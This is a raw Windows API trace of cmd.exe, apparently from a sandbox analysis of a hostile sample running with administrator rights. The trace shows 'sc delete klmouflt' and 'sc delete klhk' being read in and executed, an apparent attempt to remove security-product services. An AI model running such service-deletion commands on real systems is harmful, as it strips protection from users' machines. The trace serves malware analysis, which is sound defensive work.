GetProcessHeap () returned 0x1b0000 [0068.014] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.014] GetProcessHeap () returned 0x1b0000 [0068.014] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.014] GetProcessHeap () returned 0x1b0000 [0068.014] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.014] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.014] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.014] GetFileType (hFile=0x120) returned 0x3 [0068.014] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.014] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.014] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.015] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.015] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.015] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.015] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.015] GetFileType (hFile=0x120) returned 0x3 [0068.015] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.015] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.015] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.015] GetFileType (hFile=0xb8) returned 0x3 [0068.015] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.015] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.015] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.015] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.015] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.015] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.015] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.015] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.015] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.015] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.015] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.016] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.016] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.016] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.016] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.016] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.016] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.016] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.016] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.016] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.016] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.016] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.016] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.016] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.016] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.016] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.016] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.016] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.016] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.016] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.016] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.016] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.017] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="klmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.017] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="lmouflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.017] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="houflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.017] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="kuflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.017] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] GetFileType (hFile=0xb8) returned 0x3 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.017] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.017] GetFileType (hFile=0x120) returned 0x3 [0068.017] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klhk\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klhk\n", lpUsedDefaultChar=0x0) returned 16 [0068.018] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0xf, lpOverlapped=0x0) returned 1 [0068.018] GetProcessHeap () returned 0x1b0000 [0068.018] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.018] GetProcessHeap () returned 0x1b0000 [0068.018] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.018] GetProcessHeap () returned 0x1b0000 [0068.018] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.018] GetProcessHeap () returned 0x1b0000 [0068.018] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.018] GetProcessHeap () returned 0x1b0000 [0068.018] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2a) returned 0x1c6510 [0068.018] GetConsoleOutputCP () returned 0x1b5 [0068.018] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.018] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.018] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x30) returned 0x1c6550 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0068.019] SetErrorMode (uMode=0x0) returned 0x1 [0068.019] SetErrorMode (uMode=0x1) returned 0x0 [0068.019] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.019] SetErrorMode (uMode=0x1) returned 0x1 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0068.019] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.019] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.019] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.019] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.019] GetProcessHeap () returned 0x1b0000 [0068.020] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.020] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.020] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.020] GetLastError () returned 0x2 [0068.020] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.020] GetLastError () returned 0x2 [0068.020] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.020] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.020] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.020] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.020] GetLastError () returned 0x2 [0068.020] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.020] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.021] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.021] GetProcessHeap () returned 0x1b0000 [0068.021] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.021] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.021] GetProcessHeap () returned 0x1b0000 [0068.021] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x96) returned 0x1c9180 [0068.021] GetProcessHeap () returned 0x1b0000 [0068.021] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x96 [0068.021] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klhk") returned 1 [0068.022] GetProcessHeap () returned 0x1b0000 [0068.022] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.022] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.022] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.022] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.022] GetProcessHeap () returned 0x1b0000 [0068.022] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.022] GetProcessHeap () returned 0x1b0000 [0068.022] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.023] GetProcessHeap () returned 0x1b0000 [0068.023] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.023] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klhk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klhk", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete klhk", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0xb70, dwThreadId=0xb88)) returned 1 [0068.028] CloseHandle (hObject=0x54) returned 1 [0068.028] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.029] GetProcessHeap () returned 0x1b0000 [0068.029] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.029] GetEnvironmentStringsW () returned 0x1cba10* [0068.029] GetProcessHeap () returned 0x1b0000 [0068.029] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0068.029] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0068.029] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.029] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.029] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.073] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.073] CloseHandle (hObject=0x50) returned 1 [0068.073] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.073] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.073] GetProcessHeap () returned 0x1b0000 [0068.073] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0068.073] GetEnvironmentStringsW () returned 0x1d1b10* [0068.073] GetProcessHeap () returned 0x1b0000 [0068.073] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.074] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.074] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.074] GetProcessHeap () returned 0x1b0000 [0068.074] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.074] GetEnvironmentStringsW () returned 0x1cba10* [0068.074] GetProcessHeap () returned 0x1b0000 [0068.074] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0068.074] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0068.074] GetProcessHeap () returned 0x1b0000 [0068.074] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.074] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.074] 